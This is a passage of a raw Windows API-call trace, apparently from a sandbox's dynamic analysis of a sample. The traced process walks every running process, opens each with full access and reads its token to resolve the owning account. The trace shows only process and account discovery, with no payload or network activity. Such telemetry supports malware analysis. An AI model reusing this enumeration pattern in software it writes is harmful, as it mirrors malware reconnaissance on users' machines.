	[0100.077] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.077] GetTokenInformation (in: TokenHandle=0x128, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.077] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.079] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29cf50, cchName=0x114518, ReferencedDomainName=0x2c9410, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.080] GetProcessHeap () returned 0x240000
	[0100.080] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.080] CloseHandle (hObject=0x160) returned 1
	[0100.081] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0100.082] SetLastError (dwErrCode=0x0) 
	[0100.082] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x750) returned 0x160
	[0100.083] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x150) returned 1
	[0100.083] GetTokenInformation (in: TokenHandle=0x150, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.083] GetProcessHeap () returned 0x240000
	[0100.083] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.083] GetTokenInformation (in: TokenHandle=0x150, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.083] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.231] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d010, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.232] GetProcessHeap () returned 0x240000
	[0100.233] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.233] CloseHandle (hObject=0x160) returned 1
	[0100.233] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0100.237] SetLastError (dwErrCode=0x0) 
	[0100.237] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x778) returned 0x160
	[0100.237] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x118) returned 1
	[0100.237] GetTokenInformation (in: TokenHandle=0x118, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.237] GetProcessHeap () returned 0x240000
	[0100.237] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.237] GetTokenInformation (in: TokenHandle=0x118, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.237] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.239] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29cf50, cchName=0x114518, ReferencedDomainName=0x2c93f0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.241] GetProcessHeap () returned 0x240000
	[0100.241] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.241] CloseHandle (hObject=0x160) returned 1
	[0100.241] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0100.243] SetLastError (dwErrCode=0x0) 
	[0100.243] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x78c) returned 0x160
	[0100.243] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x184) returned 1
	[0100.243] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.243] GetProcessHeap () returned 0x240000
	[0100.243] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.243] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.244] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.246] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d010, cchName=0x114518, ReferencedDomainName=0x2c9410, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.247] GetProcessHeap () returned 0x240000
	[0100.248] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.248] CloseHandle (hObject=0x160) returned 1
	[0100.248] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0100.250] SetLastError (dwErrCode=0x0) 
	[0100.250] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x494) returned 0x160
	[0100.250] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x228) returned 1
	[0100.250] GetTokenInformation (in: TokenHandle=0x228, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.250] GetProcessHeap () returned 0x240000
	[0100.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.250] GetTokenInformation (in: TokenHandle=0x228, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.250] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.252] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29cf50, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.253] GetProcessHeap () returned 0x240000
	[0100.253] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.253] CloseHandle (hObject=0x160) returned 1
	[0100.253] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0100.255] SetLastError (dwErrCode=0x0) 
	[0100.255] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x688) returned 0x160
	[0100.255] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x154) returned 1
	[0100.256] GetTokenInformation (in: TokenHandle=0x154, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.256] GetProcessHeap () returned 0x240000
	[0100.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.256] GetTokenInformation (in: TokenHandle=0x154, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.256] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.257] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d010, cchName=0x114518, ReferencedDomainName=0x2c93f0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.259] GetProcessHeap () returned 0x240000
	[0100.259] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.259] CloseHandle (hObject=0x160) returned 1
	[0100.259] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0100.261] SetLastError (dwErrCode=0x0) 
	[0100.261] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x10c) returned 0x160
	[0100.261] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x220) returned 1
	[0100.261] GetTokenInformation (in: TokenHandle=0x220, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.261] GetProcessHeap () returned 0x240000
	[0100.262] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.262] GetTokenInformation (in: TokenHandle=0x220, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.262] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.263] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29cf50, cchName=0x114518, ReferencedDomainName=0x2c9410, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.265] GetProcessHeap () returned 0x240000
	[0100.265] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.265] CloseHandle (hObject=0x160) returned 1
	[0100.265] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0100.267] SetLastError (dwErrCode=0x0) 
	[0100.267] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x24c) returned 0x160
	[0100.267] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x158) returned 1
	[0100.267] GetTokenInformation (in: TokenHandle=0x158, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.268] GetProcessHeap () returned 0x240000
	[0100.268] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.268] GetTokenInformation (in: TokenHandle=0x158, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.268] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.269] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d010, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.271] GetProcessHeap () returned 0x240000
	[0100.271] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.271] CloseHandle (hObject=0x160) returned 1
	[0100.271] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0100.273] SetLastError (dwErrCode=0x0) 
	[0100.273] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x758) returned 0x160
	[0100.273] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x198) returned 1
	[0100.273] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.273] GetProcessHeap () returned 0x240000
	[0100.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.273] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.273] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.465] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29cf50, cchName=0x114518, ReferencedDomainName=0x2c93f0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.467] GetProcessHeap () returned 0x240000
	[0100.467] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.467] CloseHandle (hObject=0x160) returned 1
	[0100.467] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0100.470] SetLastError (dwErrCode=0x0) 
	[0100.470] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x174) returned 0x160
	[0100.471] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x19c) returned 1
	[0100.471] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.471] GetProcessHeap () returned 0x240000
	[0100.471] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.471] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.471] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.473] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d010, cchName=0x114518, ReferencedDomainName=0x2c9410, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.474] GetProcessHeap () returned 0x240000
	[0100.474] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.474] CloseHandle (hObject=0x160) returned 1
	[0100.474] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0100.476] SetLastError (dwErrCode=0x0) 
	[0100.476] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x2a8) returned 0x160
	[0100.476] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x194) returned 1
	[0100.477] GetTokenInformation (in: TokenHandle=0x194, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.477] GetProcessHeap () returned 0x240000
	[0100.477] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.477] GetTokenInformation (in: TokenHandle=0x194, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.477] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.479] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29cf50, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.480] GetProcessHeap () returned 0x240000
	[0100.480] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.481] CloseHandle (hObject=0x160) returned 1
	[0100.481] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0100.483] SetLastError (dwErrCode=0x0) 
	[0100.483] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x80c) returned 0x160
